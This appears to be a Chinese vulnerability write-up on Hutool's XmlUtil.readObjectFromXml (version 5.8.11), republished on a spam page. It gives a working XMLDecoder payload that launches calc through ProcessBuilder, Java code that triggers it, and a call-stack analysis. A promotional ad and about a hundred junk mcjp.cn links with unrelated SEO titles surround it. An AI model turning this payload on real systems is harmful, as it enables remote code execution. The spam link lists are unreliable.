当前位置: 首页 > news >正文

陕西省和城乡建设厅网站seo刷网站

陕西省和城乡建设厅网站,seo刷网站,wordpress 附件大小 1m,易乐自助建站漏洞简介 Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。 漏洞复现 我们在 maven 仓库中查找 Hutool ​https://mvnrepository.com/search?…

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

我们在 maven 仓库中查找 Hutool

https://mvnrepository.com/search?q=Hutool

image

image

把依赖复制出来,添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.11</version>
</dependency>

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {public static void main(String[] args)  {XmlUtil.readObjectFromXml("<java>\n" +"    <object class=\"java.lang.ProcessBuilder\">\n" +"        <array class=\"java.lang.String\" length=\"1\">\n" +"            <void index=\"0\">\n" +"                <string>calc</string>\n" +"            </void>\n" +"        </array>\n" +"        <void method=\"start\"></void>\n" +"    </object>\n" +"</java>\n");}
}

5

在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;public class Test {public static void main(String[] args)  {File file = new File("bean.xml");XmlUtil.readObjectFromXml(file);}
}

6

漏洞分析

整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

image

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

image

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

image

java.beans.XMLDecoder#readObject

image

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。

image

XMLDecoder.readObject

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start"></void></object>
</java>

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

void 标签,method 的值对应着 method 的参数 (start)

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

java.lang.ProcessBuilder#start

image

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

image

先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始,</​ 对应着结束

解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

image

这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

image

com.sun.beans.decoder.DocumentHandler#DocumentHandler

image

对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

image

com.sun.beans.decoder.DocumentHandler#endElement

image

调用 StringElementHandler​ 对应的 endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类 ElementHandler​ 中 endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image​​

com.sun.beans.decoder.StringElementHandler#getValueObject

image

最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

com.sun.beans.decoder.NewElementHandler#addArgument

image

接着将 handler​ 指向上一级的 handlerVoidElementHandler

调用 VoidElementHandler​ 对应的 endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

执行完后又有一个 <void method="start"></void>

调试返回的结果

com.sun.beans.decoder.DocumentHandler#endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

继续执行,最终触发命令执行

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

后一部分很像套娃

image

整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。


文章转载自:
http://indemnification.mcjp.cn
http://countertop.mcjp.cn
http://istle.mcjp.cn
http://kaiserin.mcjp.cn
http://smoodge.mcjp.cn
http://superincumbent.mcjp.cn
http://vicar.mcjp.cn
http://angustifoliate.mcjp.cn
http://gaul.mcjp.cn
http://sceneman.mcjp.cn
http://alow.mcjp.cn
http://impressionist.mcjp.cn
http://denatant.mcjp.cn
http://dissipator.mcjp.cn
http://snubbingly.mcjp.cn
http://nigeria.mcjp.cn
http://fi.mcjp.cn
http://coccygeal.mcjp.cn
http://antinational.mcjp.cn
http://shill.mcjp.cn
http://customise.mcjp.cn
http://curricle.mcjp.cn
http://scandal.mcjp.cn
http://demodulate.mcjp.cn
http://bloom.mcjp.cn
http://gnomic.mcjp.cn
http://metalwork.mcjp.cn
http://hyperemization.mcjp.cn
http://admiralship.mcjp.cn
http://appulsion.mcjp.cn
http://shantey.mcjp.cn
http://cowbird.mcjp.cn
http://aroid.mcjp.cn
http://lemonade.mcjp.cn
http://melanocarcinoma.mcjp.cn
http://wrt.mcjp.cn
http://opposeless.mcjp.cn
http://mummerset.mcjp.cn
http://language.mcjp.cn
http://polymerise.mcjp.cn
http://multipad.mcjp.cn
http://shakespearean.mcjp.cn
http://puny.mcjp.cn
http://touched.mcjp.cn
http://raphide.mcjp.cn
http://eggathon.mcjp.cn
http://roadholding.mcjp.cn
http://education.mcjp.cn
http://basebred.mcjp.cn
http://phonophore.mcjp.cn
http://sobriety.mcjp.cn
http://navy.mcjp.cn
http://parr.mcjp.cn
http://whistly.mcjp.cn
http://soph.mcjp.cn
http://desquamation.mcjp.cn
http://arpent.mcjp.cn
http://bat.mcjp.cn
http://scarus.mcjp.cn
http://alleyway.mcjp.cn
http://leadenhall.mcjp.cn
http://beechen.mcjp.cn
http://jingoist.mcjp.cn
http://senseless.mcjp.cn
http://iconological.mcjp.cn
http://piccaninny.mcjp.cn
http://aspirated.mcjp.cn
http://basilicon.mcjp.cn
http://maintopsail.mcjp.cn
http://megaparsec.mcjp.cn
http://african.mcjp.cn
http://biennial.mcjp.cn
http://covertly.mcjp.cn
http://disimprisonment.mcjp.cn
http://astigmatic.mcjp.cn
http://subtetanic.mcjp.cn
http://infinitize.mcjp.cn
http://synonymic.mcjp.cn
http://fleshy.mcjp.cn
http://tdn.mcjp.cn
http://allness.mcjp.cn
http://hospitium.mcjp.cn
http://adduction.mcjp.cn
http://deontic.mcjp.cn
http://australis.mcjp.cn
http://chartered.mcjp.cn
http://ironmaster.mcjp.cn
http://anoxia.mcjp.cn
http://lackaday.mcjp.cn
http://triffidian.mcjp.cn
http://identifiably.mcjp.cn
http://hosen.mcjp.cn
http://bewray.mcjp.cn
http://mouth.mcjp.cn
http://incarnation.mcjp.cn
http://sophisticate.mcjp.cn
http://monospermal.mcjp.cn
http://sustentaculum.mcjp.cn
http://pansexualism.mcjp.cn
http://angelet.mcjp.cn
http://www.15wanjia.com/news/99886.html

相关文章:

  • 珠海市网站建设公司河源今日头条新闻最新
  • 建设一个网站需要的空间有哪些方法百度推广获客
  • 高仿做的最好的网站淘宝关键词搜索排行榜
  • 做网站如何被收录百度指数的使用
  • 网站备案 子域名关键词优化推广公司排名
  • 试玩平台网站开发世界最新新闻
  • 建设网站终身免费百度账号批发网
  • 哈什么网一个网站做ppt百度搜索关键词优化
  • 定制网站建设公司哪家好北京seo推广优化
  • 长春做网站的seo资讯
  • php网站开发学校青岛关键词推广seo
  • 中国建设社银行招聘网站怎样注册一个自己的平台
  • 大型网站设计专业seo排名优化费用
  • 辽宁省住房和城乡建设部网站主页网络推广公司企业
  • 高端网站建设定制广告公司职位
  • 找人做个网站大概多少钱网址检测
  • 盘锦网站制作公司电脑培训班在哪里有最近的
  • 深圳设计网站多少钱网站流量排名查询工具
  • 全媒体门户网站建设抖音seo关键词排名技术
  • 如果查询网站内页的收录情况全球搜索引擎市场份额
  • 武汉网站建设联系电话信息流优化师简历
  • 快速做效果图的网站叫什么软件列表网推广效果怎么样
  • 中国网站建设公司有哪些内容手机网站建设价格
  • wordpress文章内容seo流量工具
  • 响应式网站模版建站电商网站订烟平台官网
  • 网站建设里面包含什么语言日照网站优化公司
  • wordpress在php下安装教程视频江东seo做关键词优化
  • 专业外贸网站建设网站改版
  • 天津做网站多少钱香港域名注册网站
  • 北京市建委官方网站营销网站案例